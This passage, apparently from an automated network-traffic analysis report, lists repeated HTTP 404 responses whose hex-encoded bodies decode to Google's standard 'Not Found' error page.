6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:23 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:25 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:28 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:29 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:30 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:34 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
